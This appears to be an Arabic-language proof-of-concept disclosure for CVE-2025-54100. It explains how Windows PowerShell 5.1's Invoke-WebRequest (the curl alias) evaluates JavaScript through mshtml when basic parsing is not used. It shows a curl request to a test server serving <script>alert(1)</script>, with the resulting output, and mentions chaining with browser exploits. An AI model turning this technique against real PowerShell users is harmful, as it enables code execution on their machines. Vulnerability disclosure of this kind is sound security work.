
إثبات المفهوم لـ CVE-2025-54100: ثغرة XSS في PowerShell's Invoke-WebRequest عبر mshtml.HTMLDocumentClass، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عند استخدام curl على JavaScript خبيث.
يستخدم أمر curl في Powershell أمر Invoke-WebRequest داخليًا.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
بالنظر إلى توثيق المعامل UseBasicParsing،
لقد أصبح هذا المعامل مهملًا. بدءًا من PowerShell 6.0.0، تستخدم جميع طلبات الويب التحليل الأساسي فقط. تم تضمين هذا المعامل لأغراض التوافق مع الإصدارات السابقة فقط، ولا يؤثر أي استخدام له على عمل الأمر cmdlet.
تكمن المشكلة في UseBasicParsing الخاص بالأمر cmdlet Invoke-WebRequest في Powershell. يعتمد UseBasicParsing على التحليل الأساسي، ولا يقوم بتقييم أي كود جافاسكريبت. إنه يقرأ النص ويحلله فقط.
إذا لم يتم توفير هذا المعامل، يقوم Invoke-WebRequest بتشغيل Internet Explorer في الخلفية ويحاول تحليل كود html من خلال تقييمه فعليًا باستخدام mshtml.HTMLDocumentClass. يؤدي تنفيذ طلب curl إلى موقع ويب يستضيف كود جافاسكريبت إلى تنفيذ الكود على متصفح العميل، وهو في حالتنا نافذة الطرفية في ويندوز.
يمكن العثور على توثيق mshtml.HTMLDocumentClass أدناه.
بالنظر إلى دورة الحياة من الوثيقة الأولى أعلاه يمكننا أن نرى أن،
Windows PowerShell 5.1 أغسطس 2016 صدر في Windows 10 Anniversary Update وWindows Server 2016، WMF 5.1 PowerShell 6.0 20 يناير 2018 إلى 13 فبراير 2019 مبني على .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
بعد بعض التحقيقات لاحظنا أن أحدث إصدارات ويندوز 11 و Server 22 و25 تأتي مع إصدار قديم من Powershell (5.1 وهو الافتراضي) وهو عرضة لهجمات XSS.
تثبيت جديد لـ Windows Server 22،

الهجوم بسيط جدًا؛

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
يمكنك أن تكون مبدعًا وتنفّذ أشياء مثل open("about:blank").

يجب أيضًا أن نضع في الاعتبار أن هذا يمكن استخدامه في سلاسل أكبر مثل استغلالات المتصفح لتحقيق تنفيذ موثوق أو إجبار المتصفح على العرض.
Severity: Important، Security Impact: Remote Code Execution وحصل على مكافأة قدرها $5,000.